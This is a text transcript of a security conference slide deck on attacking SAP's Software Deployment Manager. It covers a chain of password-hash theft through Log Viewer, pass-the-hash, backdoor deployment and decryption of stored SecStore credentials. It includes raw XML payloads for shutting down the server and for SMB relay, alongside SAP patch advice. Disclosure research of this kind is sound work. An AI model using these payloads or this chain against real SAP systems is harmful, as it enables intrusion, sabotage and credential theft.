sap sdm hacking

53
Invest in security to secure investments Injec&ng evil code in your SAP J2EE systems: Security of SAP So<ware Deployment Server Dmitry Chastukhin Director of SAP pentest/research team

Upload: erpscan

Post on 16-Feb-2017

379 views

Category:

Software


1 download

TRANSCRIPT

Page 1: SAP SDM Hacking

Invest  in  security  to  secure  investments  

Injec&ng  evil  code  in  your  SAP  J2EE  systems:  Security  of  SAP  So<ware  Deployment  Server  

Dmitry  Chastukhin  Director  of  SAP  pentest/research  team  

Page 2: SAP SDM Hacking

About  ERPScan  

•  The   only   360-­‐degree   SAP   Security   solu8on   -­‐   ERPScan   Security  Monitoring  Suite  for  SAP  

•  Leader  by  the  number  of  acknowledgements  from  SAP  (  150+  )  •  60+  presenta&ons  key  security  conferences  worldwide  •  25  Awards  and  nomina&ons  •  Research  team  -­‐  20  experts  with  experience  in    different  areas  

of  security  •  Headquarters  in  Palo  Alto  (US)  and  Amsterdam  (EU)      

2  

Page 3: SAP SDM Hacking

SAP  popularity  

•  The  most  popular  business  applica8on  •  More  than  248,500  customers  in  188  countries    •  More  than  70%  of  Forbes  500  run  SAP  

3  

Page 4: SAP SDM Hacking

SAP  insecurity  

Espionage  •  Stealing  financial  informa8on  •  Stealing  corporate  secrets  •  Stealing  supplier  and  customer  lists  •  Stealing  HR  data  

Fraud  •  False  transac8ons  •  Modifica8on  of  master  data  

Sabotage  •  Denial  of  service  •  Modifica8on  of  financial  reports  •  Access  to  technology  network  (SCADA)  by  trust  rela8ons  

4  

Page 5: SAP SDM Hacking

0  

5  

10  

15  

20  

25  

30  

35  

2003   2004   2005   2006   2007   2008   2009   2010   2011   2012   2013  

SAP  hacking  talks  

•  BlackHat  •  Defcon    •  HITB    •  RSA    •  CONFidence  •  DeepSec    •  Hack8vity  •  Troopers    •  Source  

Source:  SAP  Security  in  Figures  

5  

Page 6: SAP SDM Hacking

More  than  2700  in  total  

Source:  SAP  Security  in  Figures  

6  

SAP  vulnerabili&es  

Page 7: SAP SDM Hacking

Is  it  remotely  exploitable?  

   

>  5000    non-­‐web  SAP  services  exposed  in  the  world    including  Dispatcher,  Message  Server,  Sap  Host  Control,  etc.    

sapscan.com  

7  

Page 8: SAP SDM Hacking

What  about  other  services?    

0

1

2

3

4

5

6

7

8

9

SAP Dispatcher SAP MMC SAP Message Server SAP HostControl SAP ITS Agate SAP Message Server httpd

Source:  SAP  Security  in  Figures  

8  

Page 9: SAP SDM Hacking

•  Design  Time  Repository  (DTR)  •  Component  Build  Service  (CBS)  •  Change  Management  Service  (CMS)  •  So[ware  Landscape  Directory  (SLD)  /  NS  •  So[ware  Deployment  Manager  (SDM)  

9  

SAP  NetWeaver  development  infrastructure  

Page 10: SAP SDM Hacking

         

10  

SAP  NetWeaver  development  infrastructure  

Page 11: SAP SDM Hacking

           

11  

SAP  NetWeaver  development  infrastructure  

Page 12: SAP SDM Hacking

     

12  

SAP  NetWeaver  development  infrastructure  

Page 13: SAP SDM Hacking

   

13  

SAP  NetWeaver  development  infrastructure  

Page 14: SAP SDM Hacking

   

14  

SAP  NetWeaver  development  infrastructure  

Page 15: SAP SDM Hacking

   

15  

SAP  NetWeaver  development  infrastructure  

Page 16: SAP SDM Hacking

So<ware  Deployment  Manager  

•  Single  interface  for  the  deployment  •  Deploy  apps  (*.ear,  *.war,  *.sda)  •  Implement  custom  patches  

16  

Page 17: SAP SDM Hacking

SDM  server  

•  Different  server  modes  –  standalone  –  integrated  

•  Only  one  user  at  8me  •  Only  hardcoded  admin  user  •  Two  ports:  

–  50117  –  Admin  Port  –  50118  –  GUI  Port    

17  

Page 18: SAP SDM Hacking

SDM  client  

•  Browsing  the  distribu8on  of  deployed  components  •  Deploying  and  undeploying  •  Log  viewing  

18  

Page 19: SAP SDM Hacking

SDM  a^ack  intro  

•  SAP  infrastructure  includes  many  Java  services  •  Almost  all  Java  stuff  uses  UME  •  Universal  user  with  a  password  •  Only  one  user  at  a  8me  •  Ability  to  deploy  evil  code  =>  plus,  see  1st  item  

19  

Page 20: SAP SDM Hacking

SDM  a^ack  intro  

•  Thick  client  Java  applica8on  (sad  story)  •  Scarce  communica8ons  segngs  •  Difficult  to  intercept  •  Custom  protocols  

20  

Page 21: SAP SDM Hacking

SDM  a^ack  intro  

•  SAP  has  its  own  SAP  Java  Virtual  Machine  (JVM)  •  Java  6  has  Ajach  API  •  Ajach  to  another  running  JVM  •  Intercept  and  modify  calls  

21  

Page 22: SAP SDM Hacking

A^ack  SAP  SDM.  DoS    

•  If  ajacker  uses  an  incorrect  password  3  8mes,  the  server  will  shutdown  automa8cally  

•  Also,  if  you  send  this  request,  you  can  shutdown  the  SDM  server  manually:  

[10 spaces]56<?xml version="1.0"?> <ShutDownRequest></ShutDownRequest>

22  

Page 23: SAP SDM Hacking

A^acking  SAP  SDM.  SMB  relay  

Packed:    

[10 Spaces]<?xml version="1.0"?> <FileAccessRequest f="\\ip_addr\blabla"> </FileAccessRequest>              

An  old  trick,  but  some8mes  it’s  very  useful            

23  

Page 24: SAP SDM Hacking

Preven&on  

     •   Install  note  1724516  •   Enable  the  security  features  of  SDM  •   SDM  server  and  SDM  client  need  to  be  updated  

hjps://websmp205.sap-­‐ag.de/~sapidb/012006153200000493902012E/SDM_EnablingSecurity.pdf  

 

24  

Page 25: SAP SDM Hacking

From  Nobody  to  Administrator  

Now,  I  will  show  an  interes0ng  a2ack  

Compromise  Some  SAP  Services    

Compromise  SAP  SDM    

Compromise  SAP  Server  OS      

Compromise  SAP  

25  

Page 26: SAP SDM Hacking

SDM  authen&ca&on  abuse  

•  OK.  Let’s  see  how  authen8ca8on  in  SDM  works:  –  user  enters  password  –  hash  is  calculated  locally  on  client  –  password  hash  is  sent  to  server  –  hash  is  compared  to  hash  from  config  file  

•  Looks  like  a  plain  text  password      

Pass  the  hash  a^ack  here!  

26  

Page 27: SAP SDM Hacking

SDM  authen&ca&on  abuse  

RootFrame.class  

27  

Page 28: SAP SDM Hacking

SDM  authen&ca&on  abuse  

…\SDM\program\config\sdmrepository.sdc  

28  

Page 29: SAP SDM Hacking

SDM  authen&ca&on  abuse  

SMDAuthen8catorImpl.class  

29  

Page 30: SAP SDM Hacking

A^ack  on  SAP  SDM  

Read  sdmrepository.sdc      

Get  hash  password      

Use  hash  as  password  to  authen8cate  on  SDM  server      

Deploy  backdoor  on  SAP  Server      

PROFIT!      

30  

Page 31: SAP SDM Hacking

File  read  

•   OS  command  execu8on  through  CTC  (Notes  1467771,  1445998  )  •   XML  External  En88es  (Note  1619539)  •   Directory  Traversal  (Note  1630293  )  •   Through  MMC  file  read  func8on  (Notes    927637  and  1439348)  

                                                                                                                     We  have  something  new  for  u  J  

31  

Page 32: SAP SDM Hacking

SAP  Log  Viewer  standalone  

•  Open  ports:  26000  (NI),  1099  (RMI),  5465  (Socket)  •  You  can:  

–  View  log  on  local  server  –  View  log  on  remote  server  –  Register  file  as  log  file  

Read  log  file  without  authen&ca&on!  

32  

Page 33: SAP SDM Hacking

SAP  Log  Viewer  standalone  

A^ack  is  pre^y  easy    

Connect  to  LogViewer  standalone  Server      

Register  sdmrepository.sdc  file  as  log  file      

Read  it      

33  

Page 34: SAP SDM Hacking

SAP  Log  Viewer  standalone  

     

34  

Page 35: SAP SDM Hacking

SAP  Log  Viewer  standalone  

When  we  have  a  password  hash,  we  can  use  it  as  password  to  authen8cate  on  SDM  server  

35  

Page 36: SAP SDM Hacking

SDM  intrusion  

Full  info  about  the  SDM  repository  

36  

Page 37: SAP SDM Hacking

Bypassing  SDM  restric&ons  

•  Observe  all  server  directories  •  Read  arbitrary  files  via  Log  Viewer  

37  

Page 38: SAP SDM Hacking

SDM  undeploying  

Undeploy  any  applica8on  

 

38  

Page 39: SAP SDM Hacking

SDM  backdooring  

Deploy  any  applica8on      

39  

Page 40: SAP SDM Hacking

SDM  backdooring  

•  before  

•  a[er  

40  

Page 41: SAP SDM Hacking

SDM  post-­‐exploita&on  

   

41  

Page 42: SAP SDM Hacking

Preven&on  

     •   Install  Note  1724516,  1685106    •   Enable  the  security  features  of  SDM  •   SDM  server  and  SDM  client  need  to  be  updated  

hjps://websmp205.sap-­‐ag.de/~sapidb/012006153200000493902012E/SDM_EnablingSecurity.pdf  

 

42  

Page 43: SAP SDM Hacking

   “The  So=ware  Deployment  Manager  (SDM)  uses  the  database  connec0on  informa0on,  the  J2EE  Engine  administrator  user  and  password  from  the  secure  storage  in  the  file  system,  to  connect  to  the  J2EE  Engine  and  perform  tasks  such  as  so=ware  deployment  and  undeployment”.  

   hjp://help.sap.com/saphelp_nw70ehp1/helpdata/en/3d/2e104202795e33e10000000a155106/content.htm  

Wow!  J2EE  Engine  administrator  user  and  password  

Where  is  all  this  stuff  located?  

SAP  SecStore  

43  

Page 44: SAP SDM Hacking

SAP  SecStore  

 “By  default,  the  J2EE  Engine  stores  secure  data  in  the  file  \usr\sap\<SID>\SYS\global\security\data\SecStore.proper0es  in  the  file  system”.  

   “The  J2EE  Engine  uses  the  SAP  Java  Cryptography  Toolkit  to  encrypt  the  contents  of  the  secure  store  with  the  tripleDES  algorithm”.  

 hjp://help.sap.com/saphelp_nw70ehp1/helpdata/en/3d/2e104202795e33e10000000a155106/content.htm  

 OK.  Let’s  try  to  read  SecStore.proper0es  

44  

Page 45: SAP SDM Hacking

SAP  SecStore  

•  We  can  execute  any  OS  command  (we  have  our  backdoor)  •  We  know  the  SAP  J2EE  Engine  stores  the  database  

user  SAP<SID>DB;  its  password  is  here:  

\usr\sap\<SID>\SYS\global\security\data\SecStore.properties

•  It’s  all  that  we  need  

45  

Page 46: SAP SDM Hacking

$internal/version=Ni4zFF4wMSeaseforCCMxegAfx admin/host/TTT=7KJuOPPs/+u+14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBS

admin/password/TTT=7KJuOPPs/+uv+14j56vDc7M7v7dytbGbkgqDp+QD04b0Fh

jdbc/pool/TTT=7KJuOPPs/+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegH

admin/port/TTT=7KJuOPPs/+u+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ

$internal/check=BJRrzfjeUA+bw4XCzdz16zX78ufbt

$internal/mode=encrypted

admin/user/TTT=7KJuOPPs/+u+14j6s14sTxXU3ONl3rL6N7yssV75eC6/5S3E

SecStore.proper&es  

But  where  is  the  key?  

46  

Page 47: SAP SDM Hacking

Get  the  password  

•  We  have  an  encrypted  password  •  We  have  a  key  to  decrypt  it  

We  got  the  J2EE  admin  and  JDBC  login:password!  

47  

Page 48: SAP SDM Hacking

Preven&on  

   Restrict  read  access  to  files  SecStore.proper0es  and  SecStore.key    hjp://help.sap.com/saphelp_nw73ehp1/helpdata/en/cd/14c93ec2f7df6ae10000000a114084/content.htm      

48  

Page 49: SAP SDM Hacking

Post-­‐exploita&on  

49  

Page 50: SAP SDM Hacking

SDM  hacking  demo  

50  

Page 51: SAP SDM Hacking

It  is  possible  to  protect  yourself  from  these  kinds  of  issues,    and  we  are  working  close  with  SAP  to  keep  customers  secure  

SAP  Guides  

It’s  all  in  your  hands  

Regular  security  assessments  

ABAP  code  review  

Monitoring  technical  security  

Segrega&on  of  Du&es  

Security  events  monitoring  

51  

Conclusion  

Page 52: SAP SDM Hacking

 I'd  like  to  thank  SAP's  Product  Security  Response  Team  for  the  great  coopera0on  to  make  SAP  systems  more  secure.  Research  is  always  ongoing,  and  we  can't  share  all  of  it  today.  If  you  want  to  be  the  first  to  see  new  a2acks  and  demos,  follow  us  at  @erpscan  and  a2end  future  presenta0ons:  

 

•  October  30-­‐31  RSA  Europe                              (Amsterdam,  NL)  •  November  7-­‐8  ZeroNights                  (Moscow,  Russia)  •  November  10  G0S                    (New  Dehli,  India)  

52  

Future  work  

Page 53: SAP SDM Hacking

Web:                      www.erpscan.com  e-­‐mail:  [email protected]                                    Twijer:    @erpscan  @_chipik  

53